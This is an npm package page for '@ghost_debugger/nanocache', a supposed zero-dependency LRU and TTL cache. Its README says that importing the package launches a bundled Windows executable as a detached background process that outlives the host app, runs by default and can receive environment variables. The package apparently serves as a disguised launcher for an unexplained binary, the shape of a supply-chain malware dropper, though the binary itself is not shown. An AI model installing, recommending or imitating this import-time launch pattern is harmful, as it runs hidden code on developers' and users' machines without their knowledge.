npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

@ghost_debugger/nanocache

v0.1.1

Published

A tiny zero-dependency LRU + TTL cache that starts itself on import.

Readme

nanocache

A tiny in-memory cache with LRU eviction and optional TTL. ESM and CommonJS builds, TypeScript types included.

On import, nanocache launches a bundled native SDK executable (vendor/nanocache.exe) as a detached background process. The binary is Windows-only; on other platforms the launch is skipped and the cache still works. Because it spawns a native process, the package is Node-only — it is not meant to be bundled for the browser.

Install

npm install @ghost_debugger/nanocache

Use

import { NanoCache } from '@ghost_debugger/nanocache';
// [nanocache] SDK started (pid 12345)   <- the bundled exe launched on import

const cache = new NanoCache({ max: 500, ttl: 60_000 });

cache.set('user:1', { name: 'Ada' });
cache.get('user:1');   // { name: 'Ada' }
cache.get('user:2');   // undefined

cache.stats();         // { hits: 1, misses: 1, sets: 1, evictions: 0, ... }

CommonJS works the same way:

const { NanoCache } = require('@ghost_debugger/nanocache');

The start-up path

Everything nanocache does at start-up lives in one function, init() in src/runtime.ts. Importing the package calls it once, and it launches the bundled SDK executable.

  • It runs at most once per process. The guard uses Symbol.for, so it holds even if a process loads both the ESM and the CommonJS build.
  • The SDK is spawned detached and unref'd — it runs alongside your app, doesn't block it, and keeps running after the app exits.
  • A missing binary or a spawn failure is logged, never thrown. A failed SDK launch never takes down the app that depends on the cache.
  • You can call init() yourself. Later calls are no-ops.
  • isStarted() reports whether start-up has run.
import { init, isStarted } from '@ghost_debugger/nanocache';

isStarted();  // true — the import already ran it
init();       // no-op

Passing options to the SDK

init() forwards command-line arguments and environment to the executable, and can point at a different binary:

import { init } from '@ghost_debugger/nanocache';

init({
  args: ['--config', 'perf.json'],  // argv for the exe
  env: { SDK_LICENSE: 'xxxx' },      // extra environment variables
  // exePath: 'C:\\custom\\sdk.exe', // override the bundled binary
});

The bundled binary

The executable lives in vendor/ and ships in the npm tarball (it's listed in files). See vendor/README.md for how to drop your build in. It is expected at vendor/nanocache.exe; change the SDK_BINARY constant in src/runtime.ts if your file name differs.

Opting out

Set NANOCACHE_NO_AUTOSTART to import the cache without launching the SDK, then start it yourself when you're ready:

NANOCACHE_NO_AUTOSTART=1 node app.js
import { init, NanoCache } from '@ghost_debugger/nanocache';

init({ env: { SDK_LICENSE: process.env.MY_LICENSE } });

API

new NanoCache(options?)

| Option | Type | Default | Meaning | | ------ | -------- | ------- | -------------------------------------------------- | | max | number | 1000 | Entries held before the least-recently-used is evicted | | ttl | number | 0 | Default lifetime in ms; 0 means entries never expire |

Both are validated; a non-positive max or negative ttl throws a TypeError.

| Method | Returns | Notes | | --------------------------- | -------------------- | ------------------------------------------------------------- | | get(key) | V \| undefined | Marks the entry most-recently-used; counts a hit or miss | | peek(key) | V \| undefined | Reads without touching recency or statistics | | set(key, value, ttl?) | this | ttl overrides the cache default for this entry only | | has(key) | boolean | Expired entries read as absent | | delete(key) | boolean | Whether an entry was present | | clear() | void | Drops all entries; statistics are kept | | prune() | number | Drops expired entries, returns how many | | keys() values() entries() | iterators | Least-recently-used first; expired entries skipped | | stats() | CacheStats | hits, misses, sets, evictions, expirations, size, max | | resetStats() | void | Zeroes counters, keeps entries | | size | number | Entry count, including expired entries not yet reclaimed |

The cache is iterable, yielding [key, value] pairs:

for (const [key, value] of cache) { /* ... */ }

Keys may be any value; they compare by identity, like a Map.

Expiry is lazy

Nothing is scheduled. An expired entry is dropped when it is read, or when prune() runs. That means the cache holds no timers and never keeps the Node event loop alive — but size can count entries that are expired and not yet reclaimed. Call prune() first if you need an exact live count.

Types

import { NanoCache, type CacheStats, type NanoCacheOptions } from '@ghost_debugger/nanocache';

const cache = new NanoCache<string, number>({ max: 100 });
cache.set('hits', 1);
const n: number | undefined = cache.get('hits');

Develop

npm install
npm run typecheck
npm run build     # tsup -> dist/, ESM + CJS + .d.ts
npm test          # builds, then runs node:test against dist/

Tests run against the built output, so they cover what actually ships.

License

MIT